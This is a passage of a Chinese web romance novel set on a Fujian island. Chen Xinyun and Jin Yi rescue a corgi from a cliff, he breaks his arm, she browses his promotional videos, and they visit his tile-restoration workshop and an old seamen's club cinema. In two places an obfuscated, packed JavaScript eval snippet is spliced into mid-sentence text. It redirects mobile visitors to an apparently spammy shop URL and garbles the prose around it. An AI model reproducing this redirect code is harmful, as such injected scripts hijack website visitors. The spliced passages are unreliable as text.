他双手在身后撑着地面,肩宽体厚,背肌线条结实又流畅,几缕发丝被微风吹起。热夏的岛上阳光丰盛,他毫不顾忌地展露着肌肤,古铜色的皮肤在阳光下泛着好看的色泽。 从她这个角度,可以看到金翊轮廓好看的侧脸,只有耳朵后面一小片肌肤因为没有被阳光晒到,显得白嫩又柔软,给这个外表粗糙的男人添上了一种纯洁、细腻的感觉。 刚才腰窝处被他触碰到的那片肌肤,现在又开始发烫了,不知道是不是过敏了,陈歆韵想。 可是她看到金翊耳后那一小片白嫩的肌肤时,脸上也连着发烫,有一种说不清的感觉油然而生。 突然,几阵吵闹声钻进两人之间的静谧,他们起身往声音来源处探看。 原来是有个游客的小狗被羊群惊到了,慌不择路下跑到了山崖边。 小狗是柯基,体型肥美,两只短短的爪子攀在崖壁上,臃肿的身体尽量缩着。而崖壁下面的海浪不断拍打着岩壁,声音实在吓人。 它的主人在崖边用树枝去够它,但是小狗毕竟不像人,不知道要抓着树枝上来,只能在崖壁上瑟瑟发抖。 “别用树枝,会不小心捅到它,把它弄下去的。”金翊制止了主人的行为。 柯基的主人是个戴着眼镜的瘦弱小男生,看到金翊,好像看到了曙光:“大哥,拜托帮帮我,帮我把它救上来,报酬什么都好说。” 金翊拍拍他的肩膀以示安慰,接着打量了下这面崖壁,还好,不是很陡峭。 陈歆韵在后面按住他:“你别去,很危险的。” 金翊回握住她的手,回以宽慰的微笑:“没事,下面有个小平台,不高,就算掉下去也摔不死人。” 陈歆韵把眉毛蹙起来,金翊继续笑着说:“我又不傻,不会拿命去冒险。我只是下去把狗带上来,然后就回来继续陪你晒太阳,你先过去坐着。” 陈歆韵摇摇头,她看了看崖壁,是个缓坡,而且下面的确有个凸出的小平台,于是说:“我的意思是,让我来。” 金翊挑起一边眉毛,明显对陈歆韵的自告奋勇很吃惊。 她把太阳帽扣在金翊脖子上:“我可是在意大利撒丁岛爬完六条攀岩路线的人,哼哼,没想到吧。” 金翊又往下探了探,确定这面坡即使掉下去也不会受什么重伤,他点点头,对陈歆韵竖了一个大拇指:“真没想到,那拜托你了。” 崖壁上的风有点大,陈歆韵把身上的丝质防晒衣脱下来,当成发绳把头发扎起来,摸索着向下攀爬,每一步都确定踩实才继续。 金翊皱着眉在上面等着,这个坡不算陡,下面还有台子托着,但是台子上的碎石不少,滑一下不会要命,也会流血。 脑子里越想越乱,刚才鼓励陈歆韵勇敢尝试的劲头,不知怎的就消散了,心里也一阵突突跳,喉咙也发紧。 陈歆韵每一步都走得很踏实,男生看得佩服不已,正准备跟金翊夸呢,谁知他忽然脸色阴沉地说:“你怎么回事?不会看好自己的狗吗?还要麻烦别人。” 这可怕的样子跟刚才那个体贴的大哥哥两模两样,完全像变了一个人,小男生都快被他吓哭了。 他说完干脆直接翻下身,从另一边快速爬下去到台子上,抬头看时,陈歆韵已经快接近小狗了。 14. 好友圈 小狗肥美的后腿打着颤,弱小又可怜地缩在崖壁边。陈歆韵到了它旁边,温声细语地叫它:“乖,乖。” 小狗虽然把耳朵向后折,但也没再后退。陈歆韵伸出手,慢慢抚上它的头,一下又一下,柯基并不排斥。 “好乖的宝宝呀,真听话。”她的手慢慢附上它脖子上的项圈,“真乖。”找准时机,陈歆韵就要下手抓。 “嘎——” 突然一阵嘈杂的声音划过,陈歆韵眼角闪过一抹白,一只海鸥像疾风一样掠过身边。她眼疾手快地扒紧在山崖上,海鸥的动作太快,带起一阵疾风,惊吓到了小狗。它汪汪两声,四肢杂乱无章地扒拉着,脚下的岩石开始松动,小狗在一阵汪汪的惨叫声中掉了下去。 纵使陈歆韵反应过来连忙伸手去捞,却也和它失之交臂。 “别……” 金翊在下面的台子上视线背光,他眯起眼睛,只感觉有一个东西直直掉下来,连忙对准方位伸手去接。 扑通—— 金翊只感到手臂一股敦实的撞击后,连人带狗一起倒在一堆碎石子上。 即使眼冒金星,金翊还是撑着把眼皮睁开,和一只大眼水灵、舌头殷红的小狗四目相对。见到是小狗,他不由得松了一口气。 有个结实的肉垫子,柯基毫发无损,短腿扑棱了两下站起来,伸出舌头去舔金翊。 陈歆韵趴在崖壁上,也吓得不轻,她三步并作两步,向下爬到了台子上,去查看金翊:“你先别动,哪里被撞到了吗?” 金翊甩了甩脑袋,清醒了些:“没事,我这身板撞不死。”只是他扭头看向了右手,右胳膊以奇怪的姿势僵直着。 陈歆韵伸手碰了下,金翊皱眉嘶了声。 以这只柯基的体型,从这个高度掉下来,冲击力太大,应该是骨折了。 陈歆韵叹了口气:“你好端端的跑下来干嘛?”她抱起小狗,“我先带它上去,然后打电话叫119,你在这边别动。” “嗯…”金翊沉默了下说,“我怕这狗不老实,往下跳,就下来接狗,这不是被我接到了吗?” 他长腿一曲站起来,拍拍陈歆韵的头,又笑了一下,表情很是轻松:“不费那劲,我自己就能上去。” 陈歆韵狐疑的表情没有松动。 金翊撸了把狗头,小狗安静了很多,乖乖躺在陈歆韵的怀里:“你先带它上去再说。” 陈歆韵点点头,把狗绳在自己身上绕了几圈,带着小狗爬上去。上去的路倒比下来轻松,她到了崖顶,先把小狗递给主人。 男生跟她连连道谢,目光又越过她,表情惊讶。陈歆韵往后看,金翊居然就跟在她的脚后边,一只手攀着崖壁,接到她的目光,冲她粲然一笑,八颗大白牙在阳光下还闪了一下。 “神经病。”陈歆韵骂了一声赶紧爬上去,又伸手拉金翊上来。 他们上来后,男生既窘迫又感激,冲他们鞠了好几个躬,表情很是仓皇无助,不停地问金翊:“怎么办?” 金翊才是受伤的那个,现在还要反过来安慰他。 “什么怎么办?先去医院做检查,你跟着,付医药费。”陈歆韵在旁翻了个大大的白眼,她实在看不惯一个成年人居然像个小孩一样,把问题都推给别人。 不过男生并不抠门,当下就点头说医药费他一定会全包的,接着吞吞吐吐,“我要赶晚上的船离开这里,明天的机票走,你看能不能……” “这件事责任在你,至于其他的私事,你该自己处理好的,用车票做推脱想甩掉责任,没这个道理。”陈歆韵语气冷硬。 男生又低头小声反驳了句。金翊抬手捏了捏陈歆韵肩膀,给她消消火:“我这问题不大,你直接把医药费给我吧,不用跟着我了。”接着他报了个合理的数,男生听到忙不迭地把钱给他转过去,又点头弯腰谢了几句,抱着狗跑没影了。 陈歆韵深呼吸了口气,去收垫子。 “这就走了?不再晒一下?”金翊拿起背包,想要帮忙,却被陈歆韵抬手推到一边。 “晒什么,拿了钱不去医院骨折也不会好啊。” 金翊语气轻快:“就算他愿意,我也不会让他跟着,又不是我家人朋友,去医院陪护这些事情,我不喜欢外人在场。” 垫子卷起来后比原来的样子膨胀许多,陈歆韵塞了好几次才把拉链拉上。她把包递给金翊,语气柔和了些:“不麻烦外人,就只能够麻烦你继续做苦力喽。” 金翊把包接过来,提在另一只没事的手上。 这附近大小礁石,他从小到大爬了个遍,对骨折这事不放在心上。他抬头看了眼天空,太阳出奇的好,这里视野开阔,风也恰到好处,今天的北澳一如既往很美。 这些风景他骄傲又喜欢了很多年,想到陈歆韵没有欣赏够就要回去,他叹口气。 陈歆韵已经走在前面了,看金翊还站在原地,回头说:“走吧,先回去看一下手。” “反正这里一年四季都有这个风景,等你好了,到时候我们带外婆一起来。” 她说完,转头自顾自地下山,金翊背着包,微微笑着跟在后面。 返程时是陈歆韵开的快艇,金翊在旁边指导了下,她学得很快,顺利把两人送上岸。 伤势不重,金翊在镇上卫生所打了个石膏就回家休息去了。 这次两人位置对调,金翊一米九大狗熊一样的身材缩在小飞机座里,小他半个身体的陈歆韵在旁边开车。 陈歆韵看他那怂样乐不可支,现在他知道那个座位前的小飞机有多白痴了吧,她想趁机让金翊把那个飞机卸掉,谁知道金翊连连摇头:“我觉得很可爱啊。” 他缩在座位上悠哉悠哉,回家路上看到每个邻居都要打招呼,别人没注意到他,都硬要把别人喊得回头。 “你干嘛这样看我?” 陈歆韵一脚油门下去:“丢脸死了!” 到了别墅,陈歆韵先给陈阿公打了个电话请假,阿公声音断断续续的,电话那头好像很燃,一会儿杠一会儿碰的。 “他打麻将去了,也没人给你开门,你改天再去吧。” 陈歆韵把电话挂了走进厨房,取下围裙。 “你要干嘛?” “做饭啊。” “现在太早了吧。” “我没做过饭,怕做的慢,就先做。你冰箱里有什么?” 金翊心里的预感很不妙:“其实我一只手也能做饭。” “你少废话,本小姐第一次做饭就是给你吃,你不觉得是种荣耀吗?” 金翊的表情看起来不是很想要这份荣耀:“我们去外面吃吧。” “你伤筋动骨没个十天半个月好不了,你这半个月都去外面吃吗?” “那把阿嬷接过来这边住吧。” 陈歆韵砰一声把冰箱关上,眼睛瞪得圆圆的:“你是想让我外婆伺候你吗?” “你这个可恶的资本家,啃老族。” 金翊挺直了背,对她的指控表示不能接受:“邻里之间互相照顾一下很正常嘛,我妈还没走前,我们和阿嬷这些年都是这么过来的。” “额…”陈歆韵刚还挺胸抬头的架势瞬间有点心虚,闷声说了句:“谢谢你们照顾外婆。” “说这个就见外了,而且马上要刮台风了,老厝那里会漏水,她本来就要搬过来住的,你也收拾一下搬过来住几天。” 陈歆韵探头看看窗外,万里无云,天空透明得跟玻璃似的,这种天气怎么会刮台风呢? 金翊的边三轮虽然造型滑稽,但的确实用。阮丽贤把晒的鱼干、仙贝、肉松什么的打包了好几袋,统统放进小飞机座里。 陈歆韵慢慢骑着车,阮丽贤坐在后面,环抱她的腰。 她扶着车把手,感受外婆在腰上一下一下的揉捏,有点不自在。果然她开口:“这么瘦,吃的东西都去哪了?晚上给你炖猪蹄,一定要吃啊。” 她说到做到,晚上餐桌上果然有猪蹄。比起昨天,餐桌上的人都不怎么说话,却丝毫不减热闹。 “阿韵多吃一点,我真不知道你之前在家里怎么被你爸爸虐待的,真的是造孽哦,那个男的我就说他靠不住。” “你多大个人了?畜生能有人重要吗?还伸手去接。” “威龙,今年有二十五了吧?天天像女孩子一样打扮,也带个女孩回来啊,你不知道你阿嬷多着急。” “还有威虎,哎哟,傻傻的。阿嬷跟你说,不要太老实,容易被欺负,你长那么大个头,谁欺负你就打回去,知吗?” 黄威虎张着嘴巴,啊啊两声,不停地点头。 另外两个平时能言善辩的男生像鹌鹑一样埋头吃饭。 陈歆韵撑着头看外婆,心里的满足像一罐刚开封的气泡水,滋得把心里填满。外婆中气十足,人善良又可爱,就算这样被数落着,心里的幸福也涨涨的。 — 陈歆韵画完画,把装备丢进边斗里,腿一跨,骑着边三轮回金翊家。 日头依旧高照,丝毫不见台风的踪迹。 搬入金翊家一个多星期了,日子就这么平稳地过着。外婆做饭,黄家兄弟和她轮流洗碗。金翊也没闲着,白天待在他二楼的书房不知道捣鼓什么。陈歆韵没闲心去管,她得赶着给人画壁画。 晚饭毕,黄威龙就在院子里唱大戏,阿嬷饭后雷打不动地去搓纸牌。 金翊吊着一只手坐在旁边嗑瓜子,时不时点评两句。陈歆韵无聊地刷手机,不知怎的忽然想起什么,她打某音,输入“中国的法罗群岛”这几个字,结果出来的景点五花八门的。 爱蹭的不止金翊,全中国从北到南都有法罗群岛,很难找到浔尾。她又删掉关键词,搜索“泉州浔尾旅游”。 接着金翊这么大的一个人就出现在了屏幕上,关键词下的第一条帖子的封面就是他。 金老板穿着标志性的背心,在视频里自信大方,口条流利,用具有当地特色的口音,从登岛码头一路介绍到北澳。 视频的光影、运镜都很专业,是找专业的融媒机构做的宣传视频。 这条视频的点赞破万,评论区的重点却跑偏了。 【去那里旅游送这么帅的老公吗?】 【帅哥光天化日之下穿这么点衣服,道德在哪里?底线在哪里?联系方式在哪里??】 【大胸,想埋~】 互联网现在这么奔放吗?她看的有点脸红,把手机盖上,视频里的帅哥消失了,取而代之的是金翊看向她的笑脸。 陈歆韵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129763|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光灼灼,金翊不解:“干嘛这么看我?我脸上有什么?” 她笑了笑:“没什么。”又低头继续刷手机。 要找金翊的个人账户不难,这年头在网上还用自拍当头像的年轻人不多。 这个融媒账号的关注列表里就有个呲着大牙傻乐的汉子,点进去,粉丝还有八千多。 金翊的网名叫做海阔天空,置顶的视频点赞最多。 标题是“又一年的家庭音乐会[呲牙笑][大拇指点赞]”。 视频背景是一个简易搭成的舞台,背景红底黄字写着:浔尾第六十二届岛上家庭音乐会。 “岛上”和“家庭音乐会”这几个字怎么放在一起的?家庭音乐会不该在家里举办的吗?怎么搞得全岛人都来了。 视频里有很多人,脸上都洋溢着笑容,黄家兄弟和陈歆韵脸熟的一些人也在其中。 金翊在台上弹电吉他,看起来和键盘手、贝斯手都是好朋友,他们相视一笑,配合默契,全场大合唱着《海阔天空》。 陈歆韵悄悄把蓝牙耳机戴上。 “干嘛呢?还要戴耳机。”金翊的声音在耳边炸起,她像只受惊的猫,马上把手机扣上。 “你管我,我乐意戴。” “有好看的一起看啊。” 陈歆韵猛猛摇摇头,红发一甩一甩的,索性站起来,坐到了金翊对角的藤椅秋千上。 当着本人的面视奸本人的账号,有一种做贼心虚又带着点隐秘的快感。 果然不是每个中国人都会粤语,但每个中国人都会唱《海阔天空》,视频里的大合唱很有感染力,那种欣欣向上、富有生命力的氛围,让看视频的人也能真切感受到。 评论区都是些“好自由啊”“太燃了”“这是哪好想参加”的留言。 其他帖子数据就比较低迷了,露脸的视频点赞会多一些,评论也依旧不正经。大部分评论金翊都不会回,但有几个账号在他帖子下很活跃,和他互动频繁。 点进去一看,有黄家两兄弟,还有民宿老板林茹的账号,还有几个人陈歆韵没见过,大概也是他们玩在一起的好朋友。 他们的头像不是自拍就是AI的可爱人物照,彼此之间不藏着掖着,经常互动关注,在人人都对自己隐私避而不谈的互联网角落,还有这个热闹的朋友圈。 除了日常分享,黄威龙的账号发自己唱戏,黄威虎发卖鱼,林茹发民宿,金翊什么都发,一会儿帮林茹招客,一会帮黄威虎卖鱼。 有个视频点赞不少,陈歆韵点进去,只见黄威虎拿个篓子在街边卖鱼,金翊突然出现,像个流氓一样把他的摊子掀翻。黄威虎咿咿呀呀着急地说不出话,林茹又跳出来说:“大哥,这是我们镇上的哑巴,卖鱼不容易,你怎么可以这样?” 两人吵起来,吵着吵着林茹忽然开始展示起鱼来。金翊又接话:“是吗?这鱼真好啊,他也太不容易了,我现在就要买两筐。”边说还边笑。 剧情诡异得像AI生成的一样。 评论区有人留言: 【我怎么在民宿老板的账号里看到那个帅哥是游客,哑巴是找茬的啊?】 【这几个老板经常互相客串,都是老演员了,还笑场。】 陈歆韵一看视频下面挂着的商品链接,卖出去的还不少。 她在屏幕前也笑了,还真有人关系可以这么好啊,互联网上那种互相敌视的浊气,一点都没影响到这几个朋友之间的乐趣。 突然一个评论有点惹她注目: 【之前那个美女怎么不演了呀?我还挺喜欢看她跟黑皮帅哥的对手戏。】 这条评论是林茹回的:“美女出国啦。” 这个姿势有点累,陈歆韵放松了身子,滑坐在藤椅上。头顶天空是大片的火烧云,院中的戏曲声里夹着蝉鸣和远处的海浪声,夏夜晚风拂过额头,陈歆韵此时所有的感官都异常清晰。 她的手指有些汗,大拇指滑动着,把视频往下翻,终于看到了一条视频,封面上是一个女生,留着长发,眼睛大大的,蹙起眉来,嘴巴嘟嘟,很可爱。 视频里,女生坐在雨棚里捶腿,是她和金翊上次等船的雨棚:“真是累死人了,一点也不好玩,我下次再也不来了。” 金翊忽然出现,他说:“美女,你是来我们浔尾旅游的吗?” “嗯,岛上那么大,都不知道去哪里玩好,走的我累死了,下次再也不来了。” “哎呀,那是因为你没有找对人,你看,我们何日君再来民宿,不止包民宿,还包旅游攻略一条龙。” 接着就是一段广告,女孩听完兴奋地叫起来,绕着金翊打转,“这个民宿真棒,我现在就要订!”两个人在视频里都笑得很开心。 评论区有人说男帅女美很养眼,就是两个人的演技太差了。 “你到底在看什么?一直用这种眼神看我,好像要把我杀掉。”金翊突然出现,用一只手撑在藤椅边,身子探了过来。 陈歆韵把他当块烙铁似的,离得远远的:“我手机没电关机了!” 天色渐暗,暮色四合,有条消息蹦出来,她手机忽然亮起的白光,把金翊的古铜色皮肤照的发亮。 他们演技差不差不知道,陈歆韵觉得自己现在的演技肯定不行。 15. 海员俱乐部 金翊轻笑了下,没有移开脸,直直看着陈歆韵,黑色的眼珠在白光下通透又明亮。 “不想给我看就不看,扯什么谎?” 陈歆韵躺倒在藤椅上,金翊整个上半身都压了过来,这个动作对于异性之间来说,实在有点冒昧。 金翊不是这样一个不知礼数的人,但不知道为什么从北澳回来以后,他对陈歆韵的言行举止,没有了之前的疏离,多了些亲近,更夹杂着一些偶尔突破边界的小试探。 被压着的陈歆韵有点不爽,双手撑着他的肩膀想要推开,可她哪里推得动这个石板一样的身体,于是瞪起眼睛警告他:“知道我不想给你看还凑上来,脸皮真厚。” “嘿嘿。”金翊没有收回目光,他的眼睛又大又亮,眼珠在眼眶里流转,十分分明。 他的视线从下看到上,动作越变越缓慢,嘴角噙着淡淡的笑。 陈歆韵的耳边只有自己扑通扑通的心跳,什么蝉鸣、海浪声,甚至嘈杂的戏曲声都消失了。 不对,是真的没有戏曲声了,她才注意到,黄威龙不知何时已经不在院子里了,偌大的院子里,只剩下她和金翊。 意识到这点,她脑子轰的一下烧了起来。或许有什么正在改变,而她完全没有想过接受这种变化。 金翊长得自然是无可挑剔,温柔又通透,心地善良,胸还大,是个顾家好男人。 可他就像这片岛屿的坐标,沉淀在这座岛上的过去,她无从知晓,未来也无法离开。 而她会跟妈妈去澳洲,再去意大利完成学业,至于再远的事情她也没有想过,只是隐约觉得,总不会留在这里,这个本地年轻人都寥寥的小岛。 陈歆韵眼珠流转,羽睫低颔,把所有情绪都写在脸上。金翊一直留意着她的神情,眼见她流露出一些不愿接受的样子,他马上把身体移开,直起身来。 他若无其事地坐在藤椅的另一边,长腿撑在地上,脚轻轻助推着藤椅晃起来。 陈歆韵直起身子,把脚搭在藤椅边缘,随着金翊的动作一下又一下地摇晃。 蝉鸣的聒噪中,金翊开口道:“我也就好奇嘛,你不愿意给我看就算了。” 陈歆韵把手机按开,将那个视频展现在金翊眼前。 两人开始有一搭没一搭地聊起天来,刚才暧昧闷热的氛围消散在夏夜晚风里。 陈歆韵说:“你们拍的这些视频还挺好玩。” “是啊。”金翊笑笑,“有些视频大家看了开心,还能带动生意。” 陈歆韵问:“是谁想出来这个办法的,还挺聪明。” 金翊的表情一僵,眼神不自在地落在手机上,手机视频界面正暂停在那个黑发女孩的笑脸上。 陈歆韵没有错过这个瞬间,她问:“是这个女生吗?我怎么在你们后来的视频里没见过她?” 金翊没多说,只道:“出国了。” “她是谁呀?” 金翊看着手机屏,向来爽朗健谈的人,难得绷直了下巴,嘴唇张了张才说:“以前一个朋友。” 朋友,还是以前的朋友。那现在呢?现在不是朋友了吗?为什么? 陈歆韵很想问问,可直觉告诉她没有必要,便只是点了点头。 - 上午画完了最后一间客单,陈歆韵收拾好东西,想去找金翊说说提成的事。 金翊给她介绍了六个客户,根据祠堂破损程度不同,收费在八百到两千之间,客户出手都很大方,陈歆韵报价后,他们从来不会砍价,当场就直接转钱过来。 金翊到目前为止也没有收过她中介费,可陈歆韵不马虎,决定自己去跟他提这件事。 午后的小岛很安静。别墅里阳光丰盛,火球站在笼子里晒太阳,整个鸟头埋在毛茸茸的胸脯里。 院子两旁的棕榈树高大挺拔,阳光透过宽大的枝叶,在地面洒下斑驳光影。外婆难得没有出去打纸牌,躺在藤椅上,在树荫下晒太阳。 院子里花草繁茂秾艳,地面通体铺着瓷砖,薄荷绿与绛红色交织搭配,颜色清新又舒适。 空气中只有蝉鸣的嘹亮叫声。陈歆韵蹑手蹑脚地从外婆身边经过,进了屋子。 薄荷绿栅栏窗都被打开,穿堂风和明亮阳光充满了整个客厅。 陈歆韵第一次来这间别墅的时候就发现了,窗台和屋里的地板都铺满了花草纹样的砖块。 这些花草纹理繁复别致,几何纹样对称,融合了中西方多重审美,好像整个别墅上都开了花一样,万物奔放又灿烂。 绿植、小轩窗,以及各种对称式的花纹,让整座房子显得清新又典雅,陈歆韵每每穿梭其中,总感觉能闻到青木瓜的味道。 她听外婆说,金翊没事就喜欢窝在他二楼的书房里,不知道在捣鼓什么。 书房的门框被做成了复式镶嵌结构,门框同样用小花砖砌成了一条极细的翠绿色镶边。 “扣扣。” 陈歆韵轻轻敲敲木门。 “请进。”清亮好听的声音响起,陈歆韵按下门把手,推开门。 一阵穿堂风猛烈袭来,她闭了闭眼睛,而后睁开,眼前的景象让她为之一震。 比起书房,这间房子更像是工坊。房子面积很大,却不见几本书。 整间别墅只有这一间房的地面不是瓷砖,而是水泥地,水泥地上还划分出了三个区域。 左边一排排架子上放着色彩斑斓的花瓷砖,右边也堆着好几箱瓷砖,只是表面都沾着污泥,有的还碎了。 金翊坐在中间,身后是和厨房同样巨大的巴洛克风落地窗。 他拿着根小小扫把,轻轻扫着一块边角有些开裂的瓷砖。 地上还散落着其他烧制的工具。 见陈歆韵进来,他歪起一边脑袋:“什么事?” 陈歆韵还沉浸在震撼里,房子右边的墙壁上镶嵌了无数块颜色、图案各异的花砖,番薯叶藤蔓蜿蜒缠绕,花卉繁复瑰丽,几何图案交错对称,铺满了整面巨大的墙壁。 她回过神,冲金翊笑笑:“我说怎么岛上有些房子的墙都被撬了,原来是你这个小偷偷走了。” 金翊有些好笑:“这怎么叫偷?那些房子都没人住了,多来几次台风迟早没了,那多可惜。我都跟他们的主人打过招呼了。” 陈歆韵小心翼翼地托起一块还没有被清理的瓷砖:“你费这么多功夫收集整理这些是要拿去卖吗?” 金翊把工作围裙脱下来,露出领口袖口都宽松的背心,抬手敲了敲陈歆韵的脑袋:“小财迷,怎么看到什么都想着卖?这些是花砖,是非物质文化遗产。” 金翊敲得很轻,但陈歆韵还是揉了揉被他敲过的地方,装作很痛的样子,怒目瞪着他。 陈歆韵在上岛时就注意到了,岛上一些古宅墙壁上镶嵌的砖块,跟国内其他地方看到的不太一样。 这些砖块花纹繁复,色彩浓烈,就连白色都带着艳丽的质感,很有热烈又朦胧的南洋风情,没想到居然是非物质文化遗产。 金翊给她搬了个小矮凳,解释道:“花砖是早期先辈下南洋打拼,事业有成、荣归故里后带回来的一种装饰设计,本身融合了欧洲几何美学,中式纹样和东南亚热调风格多重元素,在闽粤建筑上应用广泛,浔尾也是,只是随着时间的流逝,大部分都蒙尘了。” “所以你想把岛上破败的花砖都收集起来,整理干净?” “嗯。”金翊点点头,“这些是我这么多年来走遍了岛上发现的。能撬起来带走的,我都尽量搜集了。” 陈歆韵默默看着满房的花砖,还有几大箱子没有整理,被整理干净的,都被金翊精心地贴在架子上。这绝对不是半吊子的功夫,是长年累月才能积攒下来的。 金翊盘腿坐着,望向右边巨大的花砖墙,像是在回忆什么:“小的时候,妈妈带我去槟城,我记得那里的花砖保存得很完整,太美了,就像是花满连城。我回来后发现岛上很多老房子也有花砖,只是大部分都已经破损了,所以我就想,要是有人把它们都修复了,肯定很好看。” 陈歆韵点点头,又问:“那你把它们修复了以后要做什么?” 金翊皱起眉头,像是在思索:“修复了就是修复了呗。” 陈歆韵又问:“你难道要再建一间房子,把这些修复的花砖贴上去吗?” 金翊的眼睛忽然亮了亮,对她露出赞许的笑:“好建议,我怎么没想到。” …… 陈歆韵翻了个白眼,真是钱多到没地方花。 她说:“你可以把这些花砖全部都录入成电子数据保存下来。欧洲很多城市都这么做的,那里文化遗产数字化很发达,可以通过云存储、AR技术、大数据这些,把纹样图案进行精度捕捉,建成非遗数据库,上传云端。” “这样子,你就不怕这些砖块坏了,纹样也没法传承了。科技发展的好处就在这里,它能把文化永远留在电子档 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129764|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,即使实物会损坏,我们也可以照着数据,再把它复原出来。” 陈歆韵一口气说完,朝金翊粲然一笑。 笑容天真又明亮,说这些话的时候,整个人像会发光。 金翊呼吸一滞,张张嘴,没说出话来。注意到金翊的眼神,陈歆韵又低下头:“你这里的确是没有那些高科技,不过你可以用数位板把它画下来。” 金翊挠了挠脑袋,苦笑道:“可这是个大工程,我退休的时候再做吧。” 陈歆韵冲他摇摇头:“那得等到什么时候?每天画一点,日积月累的,不出一两年就画完了。这些花纹还有审美都这么好看,根本不输欧洲那些建筑上的艺术花纹,不记录下来太可惜了。” 金翊还是有点为难:“公司里的事还挺多的,我每天也很忙。” 陈歆韵有点疑惑,他看起来很忙吗?不过她没细想,转头跟金翊说:“挤挤时间就可以了,要不我先帮你画一段时间?” 金翊马上点点头:“好,那我们两个一起画。” “那你和阿嬷就先别回去了,这段时间都住我这里,方便画画。” 陈歆韵点点头,不疑有他:“行。” 她说完就打算去拿数位板,完全忘记要跟金翊讲提成的事情了。 金翊抓住她的手。 “什么事?”陈歆韵问。 金翊把衣架上的工装服穿上,语气自然而然,内容却特别突兀:“我带你去看电影吧。去吗?” …… 什么意思?他横冲直撞的,一下把陈歆韵昨天做的心理建设撞地稀巴烂。陈歆韵想拒绝,却迟迟说不出口。 她指尖卷了卷头发:“最近没上什么好看的电影啊。” 金翊摇摇头:“我知道一家电影院,可以指定电影。” “私人电影院吗?” 陈歆韵皱着眉,觉得不太好,金翊不是会做出这么冒犯的事情的人。 金翊又摇了摇头:“公共电影院,大家都可以来的,你想去看吗?” 他的重点一直在“你想不想”上。 陈歆韵没回答,金翊一直注意她的表情,随后他笑了笑,把房门打开,跟陈歆韵说:“走吧,我挺想看的。” 陈歆韵一咬嘴唇,跟在了他后面。 鉴于金翊现在还是残障人士,边三轮还是由陈歆韵开,在他的指挥下,二人离东边的海越来越近,最后驶上了滨海公路。 电影院不该建在商业区吗?怎么会在海边?这里除了鸟就是石头的。 刚这么想着,陈歆韵眼前就出现了一栋很有六七十年代感的骑楼。 骑楼绿漆斑驳,门眉上同样剥落的红漆写着“海员俱乐部”几个大字。 在金翊指路下,陈歆韵把车停到房子前,才发现旁边还有一栋比较新的建筑,上面写着“东厝村老人之家”几个字。 几个大爷大妈正在服务中心门口打乒乓球。 陈歆韵没怎么来过东边,金翊倒是熟门熟路。大爷大妈们看到他走近,都很热情地挥手。 “小翊又来这里看电影啊?” “这次带女朋友来呀?” 两人有礼貌地同他们打招呼,快步又尴尬地在那群大爷大妈一阵哄笑里进了骑楼。 看内部装潢,这明显是上个世纪的老电影院,排排座椅已经被拆除了,昔日热闹沸腾的大公社集会变得落寞泛黄,光影里漂浮着往昔的烟尘。 电影院中央区域放着几组全新的皮质沙发,最上头的正中央有一块崭新的巨大白色幕布。 不用猜都知道是谁的东西。 金翊从墙边的储物箱里拿出一个投影仪,边调整设备边问陈歆韵:“你有什么想看的吗?” 这时有个大妈进来了,一手端着水果,一手拿着个红色的四格塑料盘子。 陈歆韵乖巧地道了声谢,大妈连声说好就转身离开,走时还慈爱又八卦地一步三回头看他们。 陈歆韵看着糖果盘,其中一格里装着那种小时候吃过的喜糖,大红色的包装上写着一个繁体喜字。 金翊边翻手机上的电影推荐,边说:“看泰坦尼克号怎么样,评分好高,我都没看过。” 陈歆韵马上说:“不行。” 她的反应很激烈,金翊有些疑惑:“你看过吗?不好看吗?” 陈歆韵不知道该怎么回答,泰坦尼克号这种片子,跟前男友一起看过了,还能跟别的男人看吗? 16. 台风来临前 虽然脾气大,但陈歆韵是个挺纯情的人,对待感情忠诚又天真,是那种会在日记本上写着“要跟爱的人去做的一百件小事”的人,其中一件小事就包含跟对象一起看《泰坦尼克号》。 这片子贼长,上次她要和何成看的时候,何成满嘴答应,结果一个小时不到就掏出电脑办公了。 他事业心重,又才刚发展,陈歆韵也没计较,只是后来有些兴致缺缺,最后两小时都睡着了。 要说看过,也不能算真的看过。 “番薯,怎么了?想什么呢?” 听到这个称呼,陈歆韵又嘟起嘴巴,怒目看他。 番薯是外婆在她撒娇时,对她无奈又宠溺的昵称,好像是这里长辈对小孩的一种叫法,说明孩子跟金黄的小地瓜一样可爱。 那天外婆这么喊她,金翊听到了,便也跟着一起喊。陈歆韵可不乐意,他不过比自己大几岁而已,就这样占她便宜,她马上喊了回去:“臭地瓜。” “这片子是很经典的灾难爱情片。”陈歆韵把果盘放到桌子上,剥了一颗糖吃,窸窸窣窣的声音在礼堂里格外清晰,“别怪我没提醒你,你未来女朋友知道你跟别的女生看了这个片子,可能会吃醋的。” “哦。”金翊点点头,“没事,我认识的人都很大方的。” 他揉了揉陈歆韵的脑袋,坐到她旁边,沙发瞬间陷了下去,陈歆韵的小身板也跟着朝他那边倒,幸好她及时用手撑住椅背,才不至于栽到他怀里。 陈歆韵哼了声,“那可不见得。” “对。”金翊看着她,“的确不见得,这里面有些人就比较小气。” 看着他直直的目光,陈歆韵忽然意识到什么,攥了一把糖果丢到他身上:“你在说我吗?” 金翊把手护在胸前,跟她连连求饶:“没有没有,我哪里敢,你最大方了。那我们赶紧看吧。” 